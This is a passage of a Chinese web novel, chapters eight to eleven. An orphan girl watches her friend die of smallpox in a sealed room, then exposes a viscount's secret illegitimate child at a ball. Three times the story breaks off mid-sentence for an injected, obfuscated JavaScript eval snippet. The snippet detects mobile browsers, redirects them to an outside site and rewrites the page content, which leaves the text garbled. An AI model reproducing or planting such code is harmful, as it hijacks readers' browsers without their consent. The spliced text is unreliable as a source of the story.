格蕾丝横冲过走廊的转角撞倒了威廉，自己也摔在了威廉的身上，威廉身旁跟着的仆人发出惊呼，忙跟着弯下身子想把威廉扶起来。 威廉摆摆手拒绝了，手拉着格蕾丝一起站了起来，他看出格蕾丝现在很着急。 “发生什么了吗？我能帮助你吗？”威廉问道。 “蓓丽，求求您救救蓓丽。”也不觉中带上了哭腔，几乎要给威廉跪下。 “蓓丽？你的朋友？发生什么了吗？”威廉扶着也，皱着眉问，脑中在回想着昨天小客厅里的情形。 “她生病了，求求您救救她。” “生病了？”威廉显得有些诧异，“好，我知道了，别担心。”或许是突然到新环境的应激反应，威廉心想。 医生很快就到达了城堡，子爵夫人也被这里的动静吵得过来了，连带着她的两个女儿一起来了。 子爵夫人在跟着威廉交谈，她教训威廉不该为这种下等人花费精力，甚至还请了医生来，威廉很快地反驳他的母亲，表示这是他未来的妹妹们，他也应该关心。 子爵夫人被威廉激起了火气，想起了她和丈夫之间关于收养孤儿的争吵，她变得更加固执恼怒了，不愿意为这两个孤儿再多花一毛钱。 医生进入房间后几乎没过多久就急匆匆退出来了，他提着自己的医药箱，恨不得现在就离开这里。 “夫人，是天花。”医生下了诊断，然后马不停蹄地离开了这座城堡。 城堡里的人在知道这个消息的一瞬间就炸开了，子爵夫人开始狠狠咒骂蓓丽和格蕾丝，把外边的格蕾丝也关进了房间里。 木匠迅速封死了这个房间，门缝、窗户缝隙，任何一处可以传递光的空间都被封死，厚厚的木板几乎隔绝了氧气和活着的希望，一阵吵闹后，小屋内很快剩下一片黑暗和死寂。 可怜的格蕾丝并不知晓境遇的颠覆，仍在拍打着房门：“求求您们，放我们出去吧！救救蓓丽！她会病死的！”“子爵大人，求求您的善心，发发慈悲吧，蓓丽是我唯一的朋友。” 门外寂静无声。 从早到晚，格蕾丝的声音逐渐沙哑减弱，“放我们离开吧，我们会回到福利院的。” 开始升高的体温让格蕾丝晕眩，身体无力地垂靠，昏沉中总算明白了自身的命运，她和蓓丽一起被丢弃了。 “我们是为什么而来的。”格蕾丝在高温的痛苦下湿了眼睫，痛恨这群伪善的贵族。 直到蓓丽突然间的颤抖惊动了格蕾丝。 蓓丽原本只安静蜷缩在床的一角，现在却开始急促地呼吸，嘴里的牙齿不规律地打着颤。一阵挣扎起伏，坐起的她立马剧烈地呕吐，吐出了大口大口黄色的酸水，过一会儿又是绿色的，酸水漫得床上、被单上、衣服上到处都是。 更糟糕的是，她脖颈处的疹子已经蔓延到脸上了，凸起的硬块像扭动的蚯蚓，脸颊变得崎岖不平，先前惊人的美貌已荡然无存。 “没有水和镜子或许是一件好事，等蓓丽醒来会疯掉的，”格蕾丝默默地想，缓了缓，坐到了蓓丽身旁，替她换下衣物。 等低头一看，格蕾丝明了地发现自己的胳臂也掀起了红点，它们成片成片地生长，就像她曾在福利院外看到的树莓。 想起树莓，格蕾丝有些惆怅了：“以后和蓓丽还能再回去吃树莓吗，它尝起来酸酸的很好吃，走之前院长还用它做了瓶果酱”，思绪游荡了一会儿：“也许回不去了，这个病想是会传染的，这座庄园的人都很害怕，那么我和蓓丽死后会埋在一起吗。” 格蕾丝的意识在黑暗中浮沉，高烧让她时而清醒时而混沌。蓓丽的呼吸声越来越微弱，偶尔发出小动物般的呜咽。她摸索着握住蓓丽滚烫的手，发现那些疹子已经连成硬痂，像树皮般粗糙。 第三天清晨，蓓丽突然安静下来。格蕾丝在昏睡中被某种直觉惊醒，醒来发现蓓丽正默默地地看着她。 蓓丽的双眼结出层层的厚翳，月光一样的眸子消逝了，神情很忧伤的样子。 她发出一声微弱的呼唤：“格蕾丝……” 格蕾丝撑起身子抓住她的手：“我在这儿。” 她竭力地睁开眼缝，眼中的瞳孔已经有些涣散，神色却在这一刻异常清醒。细微的泪珠从眼侧缓缓滑下，她轻轻地问：“我们……能活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599201|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来吗？” 格蕾丝的喉咙发紧。她知道真相——她们被关在这里，没有医生，没有药物，甚至连干净的水都没有，活下去的希望渺茫。可看着蓓丽的眼睛，她无法说出那个答案。 于是她只能紧紧抱着蓓丽，贴近蓓丽的耳边，轻声说：“能的，我们一定能活下来。” 蓓丽的嘴角微微上扬，像是得到了某种慰藉。她的呼吸渐渐平缓下来，手指也松开了被单。格蕾丝静静地守着她，直到她的胸口不再起伏。 房间里只剩下格蕾丝一个人的呼吸声。 蓓丽修长的脖颈已经僵直。没有呼吸，没有心跳，只有尚未冷却的体温证明这个十六岁的生命刚刚离去。格蕾丝把脸埋进散发着酸腐气味的被褥里，泪水灼烧着脸上的疹疮。 木板缝隙透进的微光由暗转明又渐渐暗淡，格蕾丝在尸体旁蜷缩了整整两天。高烧退去时，她发现自己奇迹般地活了下来，手臂上的疹子开始结痂脱落。当第一束阳光从松动的木板缝刺入眼睛，她听见外面传来慌乱的脚步声和瓷器碎裂的声响。 “威廉少爷也发病了！”女仆的尖叫由近及远，“夫人昏过去了！” 格蕾丝用拆下的床柱撬开最薄弱的窗板，腐浊的空气涌出去，新鲜的风灌进来。她看见威廉被抬进西翼小楼，仆人们像躲避瘟疫般四散奔逃。医生又一次匆匆离去，这次连诊断都没有留下。 黄昏时分，格蕾丝洗净身上的脓疮，换上柜子里干净的亚麻裙。镜中的自己布满褐色的痂痕，左颊有道永远无法消退的凹坑。她走进厨房时，厨娘吓得打翻了牛奶罐。 “我要照顾威廉少爷。”格蕾丝的声音比想象中嘶哑。管家盯着她脸上未脱落的痂皮：“你会把病气过给少爷。” “我已经痊愈了。”她举起结满硬痂的手臂，“而且你们没人敢靠近他不是吗？” 子爵夫人躺在会客室的长椅上，金发散乱，眼下挂着泪痕。这个曾经优雅的女人现在像块被揉皱的绸缎。 “你会害死他。”她神经质地绞着手帕，“你们这些下贱的……” “夫人！”管家突然提高声调打断她，目光扫过格蕾丝裸露的手臂，那些痂痕确实是痊愈的证明。 西翼小楼飘着醋和硫磺的味道。 格蕾丝进入房间时，威廉的棕发已被汗水浸成深色。她上手拧干毛巾，帮他换下汗湿的衣服，尝试点燃墙边的壁炉，让这个寒冷的房间温暖起来。 深夜换冰袋时，威廉突然抓住她的手腕。 高烧让他的绿眼睛异常明亮：“蓓丽死了对吗？”格蕾丝沉默地点头。 第七天早晨，威廉的疹子开始化脓。格蕾丝用银刀挑破最大的几颗，脓血染红了整整三大块亚麻布。 阁楼传来重物拖拽的声音。格蕾丝抬头望去，透过窗户看见两个园丁正把包着白布的物体运往北面的橡树林。白布一角垂下缕亚麻色头发，在晨风中轻轻摇晃，像告别的手。 9. 第九章 因罪而由上帝所降下的惩罚。 ——《圣经·旧约》 当下午的阳光透过西翼小楼的窗户照射进来时，威廉的病情已经平稳许多，格蕾丝也能够自由出入房间了，威廉甚至能够在清醒后询问格蕾丝问题。 病重时威廉的那个问题像昙花一现，他们默契地不再提起。 “我感染的疾病和你相同吗？”威廉问。 “是的，大人，是天花。” “不过医生说您染上的是轻症。”格蕾丝补充道。 “是吗。”威廉陷入沉思，不再说话。卷曲的棕色头发顺服地贴在他的脸侧，即便是病痛的侵袭，也似乎格外钟爱他的脸庞，痘疤并未在他的脸上停留。 屋子里的壁炉静静燃烧，劈里啪啦的木柴爆裂开，散出的星火带着火焰上燃，又缓缓落下。 “那么，约翰和里克呢？”威廉的下一个问题打破了宁静，问起的是他的男仆们。 格蕾丝往他背后塞了两个鹅毛垫子，用来帮助他的起身。 “他们……”停顿了会儿，格蕾丝几乎是有些恶意地回复，“不大愿意来”。 说完她紧盯着他的反应，以期得到期盼中傲慢充满怒火的反应，但很快，她失望了。 威廉只是平淡地点点头，表示了解这件事。 直到察觉到格蕾丝探究的目光后，他才像是想起似的，对她露出一个标准的贵族式的微笑。 这个笑容让格蕾丝瞬间恼怒。她想起了蓓丽最后那个真实的、颤抖的微笑，那个在谎言中获得的短暂慰藉。 而威廉标准的、经过礼仪训练的微笑似乎在提醒她，贵族之间并没有什么不同。 格蕾丝想要恨他，就如同恨他的父母姐妹一般。 于是她说道：“您不该答应我的求情的”，她的声音还带着愈后的沙哑：“看吧！您的好心害得您到了这样的下场。您活该长个教训。” 威廉浅淡的微笑消失了。 他转过头望向了窗外，那里可以看到北面橡树林的一角，一个纯洁天真的女孩安葬在那。 “我父亲将你们从福利院带回来，承诺过会照顾你们。” “你们将会是我的妹妹……我只是在做应该做的事。” “应该做的事”格蕾丝攥紧了裙摆，“您知道蓓丽死前问了我什么吗？她问我们能不能活下来。” 亚麻布料在她掌心皱成一团，“而我骗了她。” 房间陷入沉默。 壁炉里的木柴发出轻微的爆裂声，格蕾丝闻到威廉身上淡淡的格兰花香，那是她今早为他换上的干净睡衣的味道。这种香气让她想起蓓丽最后几天身上的腐臭味，想起那些渗出脓血的疹子如何弄脏了她们唯一的被褥。 “人在接近死亡时，能预知自己的死亡吗？”格蕾丝突然问道。 威廉转过头来，沉绿色的眼睛在阳光下显得异常清澈。 “能的。”他回答得很肯定。 “您在高热中，也会感觉到自己与死亡擦肩而过吗？” “是的。”威廉的食指无意识地在被单上画着十字，“第三天夜里，我听见有人在唱安魂曲，但房间里只有我一个人。” 格蕾丝想起那个夜晚，她正抱着蓓丽逐渐冰冷的身体。 “死亡是什么样的事情？”她听见自己问。 “死亡是罪的惩罚与驱逐，”威廉的声音变得低沉，“也是上帝的恩宠与救助。” “那么良善的人死后能得到上帝的恩宠与救助吗？” “所有的良善的人都会的。” 格蕾丝的眼泪毫无预兆地涌出来。她看见威廉脸上闪过一丝慌乱，原先平静克制的神情全都消散了，这位年轻的贵族显然不习惯面对哭泣的女性。 他犹豫地伸出手，可能是想起了男女身份差异，也可能是担忧再度传染，手一时僵在了空中。但看着哭泣的格蕾丝，他脸上的神情最终还是化为无奈和温柔，将格蕾丝轻轻揽在了怀里。 “蓓丽会是那个良善的人吗？”格蕾丝透过泪光看着威廉，发现他的轮廓在阳光下变得模糊不清。她不需要回答，因为她已经下定决心：无论蓓丽能否得到救赎，那些该负责的人都必须付出代价。 傍晚时分，格蕾丝端着药汤返回西翼小楼时，听见子爵夫妇在书房激烈争吵。她放轻脚步，将耳朵贴在雕花橡木门上。 “你必须立刻处理掉那两个女孩！”子爵夫人歇斯底里的声音透过门板传来，“威廉差点被她们害死！” “冷静点，威廉已经好转了。”子爵的声音显得疲惫，“而且她们是阿米莉娅的女儿，我答应过——” “阿米莉娅？那个下贱的洗衣妇？”子爵夫人发出一声刺耳的笑，“别以为我不知道你为什么要收养她们！那个亚麻色头发的丫头简直和你书房抽屉里的画像一模一样！” 一阵瓷器碎裂的声音，接着是子爵压低的怒吼：“闭嘴！你是想让整个庄园都听见吗？” 格蕾丝后退几步，药汤在碗里微微晃动。 她想起蓓丽与众不同的亚麻色头发，想起子爵第一次见到她们时古怪着迷的表情，想起为什么偏偏是她们两个被从福利院数十个女孩中选中。 一个可怕的猜想在她心中成形。 当她回到威廉的房间时，发现他已经睡着了。 格蕾丝轻轻放下药碗，目光扫过床头柜上那个精致的银相框——里面是威廉和父母、姐妹的全家画像。 她拿起相框，第一次认真端详子爵的面容：高挺的鼻梁，略微下垂的眼角，还有那个独特的下巴线条…… 相框从她手中滑落，撞在地毯上发出闷响。威廉被惊醒，困惑地看着她苍白的脸色。 “怎么了？”他问，声音里还带着睡意。 格蕾丝弯腰捡起相框，手指不受控制地颤抖。 “没什么，大人。”她把相框放回原处，“只是想起厨房还有些事。” 离开房间后，格蕾丝没有去厨房，而是端着烛台径直走向庄园走廊的东边，这条路尽头的最后一个房间是子爵大人的书房。 她轻轻推开了书房的大门，烛台的光照亮了书房的一小角，格蕾丝悄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599202|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声走了进去。 她逐个拉开书房的抽屉，寻找着画像。直到在一个抽屉的底层，才翻到了刚刚子爵夫人口中所提到的画面。 将烛台移近，画像上的人清晰可见。 画中的年轻女子有着亚麻色的长发和温柔的微笑，怀里抱着一个婴儿。格蕾丝拿起细看，发现画框下方刻着一行小字：“致我亲爱的阿米莉娅与我们的小天使。” 翻转画框之时，画框出发沙沙的清响。格蕾丝敏锐地觉察到画框之内或许还藏有东西，她用指尖一点一点地摸过画框的边侧，直到摸到一条缝隙，再用力往内一卡，画框的隔层打开了。 一封信从隔层里掉了出来。信封上的火漆印已经开裂，但依稀还能辨认出子爵的纹章。 信纸在她手中沙沙作响，上面的字迹因年代久远而变得模糊，但依然可以辨认：“……我们的女儿今天满月了，她有着和你一般相似的美丽相貌……我已安排老约翰每周送钱去村口的红狮旅馆……请不要再试图联系我，艾米莉已经开始怀疑……” 走廊突然传来脚步声，格蕾丝迅速将信塞进衣襟，吹灭蜡烛躲到门后。脚步声在门外停留片刻，又渐渐远去。 她等心跳平复后，才悄悄溜出房间，但在走廊拐角处撞上了一个意想不到的人——威廉的妹妹，十六岁的玛格丽特小姐。 “你在这里做什么？”玛格丽特皱眉看着格蕾丝沾满灰尘的裙子，手中的烛台照亮了她精致的面容——那张与威廉相似却更加娇美的脸上没有一丝天花留下的痕迹。在瘟疫最严重的时候，子爵夫人带着女儿躲到了伦敦的宅邸。 格蕾丝低头行了个屈膝礼：“抱歉小姐，我走错路了。” 玛格丽特冷哼一声：“下等人就是下等人，连方向都分不清。”她抬起下巴，“我哥哥好些了吗？” “威廉少爷已经退烧了，小姐。” “母亲说你们这些贱民故意把病传给我们。” 玛格丽特的烛台突然向前倾斜，滚烫的蜡油滴在格蕾丝手背上，“是不是你那个死掉的妹妹干的？” 格蕾丝咬紧牙关没有出声。蜡油在她皮肤上凝固，疼痛却远不及心中的怒火。 她抬头直视玛格丽特的眼睛：“蓓丽是在为小姐您捡柴火时染病的，您不记得了吗？” “放肆！” 伊丽莎白扬起手，但格蕾丝比她更快地抓住了她的手腕，两人在昏暗的走廊上僵持。 “您以为您全然受到父亲的宠爱吗？”格蕾丝压低声音，“还有您所做出的那些丑事……” 伊丽莎白的眼中闪过一丝困惑和恐惧：“你……你胡说些什么？” 格蕾丝松开手，后退一步：“没什么，小姐。只是觉得您可能会对您父亲的……收藏感兴趣。” 她转身离开时，听见伊丽莎白急促的脚步声向相反方向跑去，大概是去找她的母亲了。格蕾丝摸了摸怀中的信，嘴角浮现出一丝冷笑。 复仇的计划正在她心中逐渐完整，而威廉温和的绿眼睛和那些关于死亡的对话，此刻显得如此遥远而无关紧要。 10. 第十章 我们看到的只是真理的影子。 ——《理想国》 冬日是欧洲贵族传统的社交季，从深秋到初春的连续几个月里，几乎集中了全年最为大型的几场社交活动，如舞会晚宴、歌剧戏剧、冬日狩猎、圣诞与新年聚会等等。若你身为一名绅士，在冬日社交季前往伦敦参与政治活动、进行社交则是必要的。而若你身为一名淑女，那么在舞会上里的“亮相”几乎就决定了你的婚姻对象。 按照往常的习惯来看，埃斯特家族也应当如同往年一样在冬季前往伦敦租住一整个宅邸，然后进行为期三个月的社交季。但由于天花的影响，埃斯特家族决定这个冬季暂且呆在庄园中，直至威廉的病情有所好转后，艾米莉夫人再带着两个女儿前往伦敦参加社交舞会。 而今天很特殊，庄园准备举办一场盛大的欢迎舞会。 威廉站在窗台前，碧绿色的眼睛远远眺望着庄园内外忙碌的仆人们。 庄园里舞会的准备工作几乎持续了一整天了，远近的鲜花都被运送过来，玫瑰、冬青、常春藤等这些生长在温室里的花朵也被集中地采摘，做成小花束、花环点缀着大厅内的装饰。男仆人们正负责地擦拭着银器、瓷器，女仆们则弯着腰给舞会的地板提前抛光。 格蕾丝也不例外，她正小心地为地板打蜡。 自从蓓丽离世以后，格蕾丝变得更加沉默，至少在仆人们的眼中是这样的。她常常一言不发地一坐一整天，加上她脸上凸显的疤痕，庄园里几乎很少有人愿意与她说话，皆对她避之不及。某个黎明，她脸上的伤痕吓到了前来送信的信使，她就带上了面纱。 威廉的目光时不时地掠过着格蕾丝。他愿意报答格蕾丝的勇敢和恩惠，铭记恩惠乃真绅士之本分，而回报之，实为其殊荣。可格蕾丝在他痊愈后变得非常冷淡，让他几乎找不到搭话的机会。那天格蕾丝滚烫的泪水，也让他非常在意。 “威廉，你在发什么呆？”艾米莉夫人的声音从远到近，打断了他的思绪。 他转过头，母亲今天身穿一条低调贵重的瓷蓝色缎面长裙，是今年伦敦时兴的样式：窄瘦的袖子、堆叠的袖口、像窗帘一样两侧吊起饰有花边的外裙，再搭配起宽低领口上的扁平珍珠项链，显得端庄低调又不失雅致。看来今晚的宾客身份贵重。 “卢卡斯先生今晚会来参加舞会，我希望你能与他结交。作为一位伦敦出身的有名望的绅士，一定不会吝啬与他人的交往，这一点，我想你的父亲也是赞同的。” 威廉习惯性地露出微笑。“我会的，母亲。” 艾米莉夫人满意地点点头，随即又皱起眉头。 “对了，关于格蕾丝……” “是的，母亲。” “我认为她今晚不宜出现在舞会上。她的模样，恐怕会惊吓到来到的宾客。” “母亲，父亲不是说——我想恐怕今晚是告知父亲收养的继女身份的最好时刻。”威廉也皱起了眉。 “她什么都不是！”艾米莉夫人疾言厉色地打断了他，“她只是个仆人，而且是个不祥的仆人。若不是你父亲的罪孽——迟早是要把她送走的。”说完，她转身离开。 威廉不再言语了，重新望向窗外。 他知晓母亲对格蕾丝的厌恶，但仍然无法理解母亲的冷漠。格蕾丝并没有错了什么。她不幸地染上了天花，失去了最好的朋友，而这一切的源头，或许正是父亲的一句口头承诺。 与此同时，格蕾丝已经悄悄躲到厨房的角落里，听着仆人们的闲谈。 “听说卢卡斯先生非常富有，在伦敦有好几处房产呢！”一个女仆兴奋地说道。 “夫人肯定是想把小姐们嫁给他，”另一个仆人压低声音，“不过听说卢卡斯先生眼光很高，不知道能不能看上咱们家的小姐。” 听到这，格蕾丝握紧了手中的抹布，指节因用力而发白。罪行累累的人怎能永远享受着富足与尊荣而不被人揭发。她早就听说了这场舞会的目的，虽然清楚自己肯定不被允许参加，但她心里已经有了计划。从子爵大人书房里拿到的那一封信件或许能成为她的机会。 可怜的蓓丽，明明是子爵滥情的结果，可罪恶结出的果实却由这个无辜美丽的女孩来承担。 如果所有人都忘记她的过往，我会为她复仇。 想到这，格蕾丝摸了摸藏在衣袋里的信封，心跳加速。 如果她能证明自己是子爵的私生女，至少能摆脱现在的处境。即使不能得到真正的承认，至少也能让子爵大人履行当初的承诺，给她一个名分。 夜幕降临，庄园里灯火通明。马车一辆接一辆地驶入庭院，衣着华丽的宾客们陆续抵达，厅内侍者们端着托盘递送新鲜的雪莉酒。 格蕾丝躲在楼梯的阴影处，看着大厅里熙熙攘攘的人群，暗暗等待着时机的到来。今天的她穿着一件朴素的灰色长裙，脸上仍蒙着一层薄纱，隐隐掩盖住了脸上那些令人畏惧的疤痕。 威廉与子爵站在门厅前，迎接卢卡斯先生的到来。 卢卡斯是个身材高大的男人，约莫三十岁左右，样貌清秀，举止优雅得体。 他一出场就引起了在场所有人的注意，尤其是艾米莉夫人和她的两个女儿，她们的目光几乎黏在了他身上。观其言行，一万磅年收的传言几乎可以判定为真实。 “欢迎您，卢卡斯先生，”埃斯特子爵微笑着伸出手，“很高兴您能赏光参加我们的舞会。” 卢卡斯礼貌地握了握子爵的手。“这是我的荣幸，子爵大人。您的庄园非常美丽。” 寒暄过后，舞会正式开始。 乐队奏起悠扬的乐曲，宾客们纷纷步入舞池。威廉心不在焉地应付着几位小姐的邀请，目光却不时扫向楼梯的方向。他能预感到格蕾丝一定在某个角落注视着这一切，而他无法忽视内心的不安。 格蕾丝深吸一口气，鼓起勇气走下楼梯。 她必须抓住这个机会。 然而，她刚走到大厅边缘，就被一名仆人拦住了。“你不能在这里！”仆人压低声音呵斥道，“夫人吩咐过，你不能出现在客人面前！” 格蕾丝正想争辩，忽然听到一个低沉的声音从身后传来。 “发生什么事了？” 她转过身，发现卢卡斯先生正站在不远处，好奇地看着他们。 仆人立刻低下头，退到一旁。格蕾丝的呼吸一滞，她没想到会以这种方式与卢卡斯相遇，这个埃斯特姐妹口中的佳婿人选。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599203|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “这位小姐是？”卢卡斯问道，目光落在格蕾丝蒙着面纱的脸上。 “她……她是……”仆人支支吾吾，不知如何回答。 “我是格蕾丝，大人”格蕾丝屈膝行了一个礼，“是子爵大人的……养女。” 卢卡斯毫不客气地上下打量了她一番，挑了挑眉，似乎对这个回答很感兴趣。随后，他露出有趣的笑说道：“原来如此。那么，格蕾丝小姐，能否赏光与我跳一支舞？” 格蕾丝愣住了，她没想到卢卡斯会提出这样的邀请。 她下意识地摸了摸脸上的面纱，犹豫道：“我……我不太方便……” 卢卡斯微微一笑。“没关系，我并不介意。” 就在这时，艾米莉夫人注意到了这边的动静，在看到格蕾丝的那一瞬间，她的脸色变得铁青。 她摇着扇子快步走过来，强挤出一丝笑容。 “卢卡斯先生，您怎么在这儿？舞池里正等着您呢。” 卢卡斯礼貌地点头。“夫人，我也正是如此想的。婀娜的花朵教人怜惜，我正要邀请这位美丽的格蕾丝小姐跳舞呢。” 闻言，艾米莉夫人的眼神瞬间冷了下来。“格蕾丝身体不适，恐怕不能跳舞。不如让我女儿陪您跳吧？” 格蕾丝突然意识到这是她最好的机会。 于是她抬起头，直视着艾米莉夫人。“尊敬的夫人，我很好。卢卡斯先生作为贵客，既然邀请了我，我想是我们是不该让他失望的。” 艾米莉夫人听了气得脸色发白，但碍于卢卡斯在场，不便发作。于是她冷冷地道：“随你便吧。” 她等着看格蕾丝的笑话，一个福利院来的卑贱的孤女，绝对会在这样的舞池上露出丑态。 格蕾丝学着旁边的人轻轻伸出手，然后搭在卢卡斯的手臂上，与他一起走向舞池。 周围的宾客们对于卢卡斯的选择纷纷投来惊讶的目光，小声议论着他臂弯上的女伴：“那样的衣装，卢卡斯居然会选择和一个女仆跳舞！” 威廉站在不远处，意外地看着这一幕。 音乐响起，卢卡斯带着格蕾丝翩跹起舞。他的舞步娴熟而优雅，格蕾丝得很努力才能跟上他的节奏。但格蕾丝毕竟不是一个真正的淑女，在舞蹈过程中频频踩中他的脚背，脚下的步伐也毫无章法，尽管面纱遮住了她的脸，她也决心为了目标付出一切，她还是感觉到自己的脸烧红起来了。 “您为什么邀请我？”格蕾丝低声问道。 卢卡斯笑了笑。 “因为我喜欢与众不同的人。而且，我的确认为您是一位美丽而富有勇气的小姐。” 于是格蕾丝认定这是一个如同子爵大人一样的花花子弟。然而，她并没有忘记自己的目的，这可能是她唯一能够翻身实现愿望的机会。 趁着舞曲接近尾声，她贴近他的耳旁说道：“卢卡斯先生，那么，这位美丽又富有勇气的小姐现在遇到麻烦了。她有一件事想请您帮忙。” “哦？什么事？” “这位小姐需要一个机会，在众人面前揭露一个真相。关于她的身份。” 卢卡斯眼中闪过一丝兴趣。“听起来很有趣。为淑女排忧解难是每一位绅士的荣幸。” 11. 第十一章 你们必晓得真理，真理必叫你们得以自由。 ——《约翰福音》 舞曲结束，卢卡斯牵着格蕾丝的手，走到大厅中央，四周的人为他们散出一个空地。 他拍了拍手，示意乐队暂停演奏。宾客们安静下来，好奇地看着他们。 “各位，”卢卡斯高声说道，“今晚的舞会非常愉快。不过，在这之前，我身旁的这位格蕾丝小姐有些话想对大家说。” 艾米莉夫人狠狠皱起了眉，显然没料到事情会这样发展，心中想着果然不该让她出现在这里。 威廉则有些担忧地注视着格蕾丝，不知道她究竟要做什么。 格蕾丝深吸一口气，从衣袋中取出从子爵那窃取的封信。 “这是我母亲生前交给我的，里面是一份证明，证明我是子爵大人的亲生女儿。”她的声音清晰而坚定，回荡在大厅中。 “如今我那可怜又受人抛弃的母亲已经不在了，但这份证明依然有效。而我，作为子爵大人的亲生女儿，有权主张恢复我的身份。” 大厅里一片哗然，宾客们议论纷纷。 子爵皱着眉看着她，艾米莉夫人则愤怒地瞪着她说道：“荒谬！这简直是一派胡言！” 格蕾丝没有退缩。 “子爵大人，您曾经承诺过会收养我和蓓丽。如今蓓丽早已因为替您的女儿们在雪虐风饕的冬天里拾取柴火而感染天花身亡了，我也因天花留下了这样令人恐惧厌恶的疤痕。我希望您能履行承诺，承认我的身份。” 会客厅里议论不止：“原来还有这样不体面的事……” 子爵沉默了片刻，说道：“格蕾丝，这件事我们私下再谈。现在不是合适的场合。” “不，父亲，”威廉突然走上前，站在格蕾丝身边，“格蕾丝说得对。我们欠她一个交代。” 艾米莉夫人几乎要气疯了。“威廉！你怎么能——” 卢卡斯饶有兴趣地看着客厅内的吵闹，意识到今晚遇到的事情将会是他很长一段时间内的乐趣所在，那么就暂且不能让这份乐趣为人所中断了。 于是他站出来说道：“违背真理的忠诚绝对是高贵者的耻辱！想必在座的各位都有对真理的追求。” “因此我提议，就由我来鉴定格蕾丝小姐手中的这份证明是否为子爵的真迹。” “我以绅士的荣誉起誓，鉴定中绝无偏袒和弄虚作假。” 他的声音沉稳有力，客厅里的窃窃私语渐渐平息，所有人的目光都集中在他身上。在寂静的默许之中，宾客们达成了一致。 卢卡斯接过格蕾丝递来的信件，从怀中取出随身携带的放大镜，在慎重地穿戴上手套后，他开始仔细地检查纸张、墨迹和笔迹。 不一会儿，他又向管家要来几封子爵近年来的亲笔书信，将其在长桌上铺开，进行逐一的比对。 一时间所有人的目光都集中在他那双手上，客厅里的空气都仿佛凝固了，所有人都提着气等待结果的审判。 随后，卢卡斯将信放下，又摘下了手上的手套，确定又谨慎地宣布：“这是子爵的笔迹无疑。” 他的声音不大，却足以让整个客厅的人都听得一清二楚，“我抽样对比了子爵过去十年间来往的所有信件，从字母的写法到签名时尾字的习惯性弧度，几乎完全吻合。” 他举起信纸，让靠近的几位宾客能够看清。“而且这纸张的质地和墨水褪色的程度，也证实了这封信确实有多年历史，绝非近期伪造。” 格蕾丝站在客厅中央，背挺得笔直，面纱下的表情看不真切。 她明明只穿着朴素的灰色裙装，此刻却与几乎与周围珠围翠绕的贵族们不相上下。她笔挺的背几乎让人不敢怀疑她的确具有贵族的意志和血统。 “信中明确提到，”卢卡斯兴味盎然地停顿，“子爵与格蕾丝小姐的母亲确实有过一段感情，并且——” 他继续顿了顿，愉悦地看了看四周人五彩斑斓的神情，然后补充道：“确实育有一个女儿。” 玛格丽特猛地从沙发上站起来，动作大到丝绸制的裙子剐蹭一片，发出刺耳的撕裂声。 “胡说八道！”她的声音尖利得几乎刺破耳膜，“我父亲怎么可能与那种低贱的女人有染？更不可能留下这种——” 她恶狠狠地瞪着格蕾丝，“这种杂种！” 客厅里顿时响起一片倒抽冷气的声音。 几位年长的女士用扇子遮住了嘴，交头接耳地议论着。玛格丽特这才意识到自己的失态，脸颊涨得通红。 凯瑟琳迅速起身，优雅地挽住姐姐的手臂。 “我亲爱的姐姐只是太过震惊了。” 她的声音如蜜般甜美，却带着不容忽视的锋芒，“毕竟，请看一看这位格蕾丝小姐——” 她上下打量着格蕾丝，目光如同在评估一件劣质的商品，“她身上有哪一点像我们埃斯特家的人呢？” 威廉皱起眉头，想要开口制止，但凯瑟琳已经继续道：“众所周知，埃斯特家族以美貌闻名。我们的祖母曾是宫廷第一美人，父亲年轻时的俊美也远近闻名，甚至有传言能让半个伦敦的贵妇人为之倾倒。” “这当然是大家的谬赞。” “但我们眼前的这位小姐——”她故意拖长了音调，“既没有我们标志性的绿眸，也没有任何值得一提的特征。” 凯瑟琳含蓄地用扇子挡着脸，露出意味深长的笑容。 宾客中传来几声赞同的低语。格蕾丝顿时感觉到无数双眼睛在她身上扫视，评估，判断。 她的手指不自觉地绞紧了裙摆，但声音却异常平稳。 “私生子的体质常常与祖辈相同，相貌和瞳色都与祖辈相似，这并不能证明我并非子爵的女儿。” 她抬起头，尽管隔着面纱，却仍能感觉到她直视着凯瑟琳，“更何况，姐姐们竟如此急切地否认我的身份，不正说明诸位心中有鬼吗？” 宾客中传来窃窃私语。丝绸商人布莱特先生对律师莫斯耳语：“她说得有道理，我姑妈就是私生女，长得和祖父一模一样。”但银行家夫人坚持认为：“这女孩看上去太普通了，子爵的情妇据说是个绝世美人。” 威廉终于忍不住了。 “够了！”他低沉的声音让客厅安静下来，“父亲都未言语，我们身为子女就在这里争论这些，成何体统？” 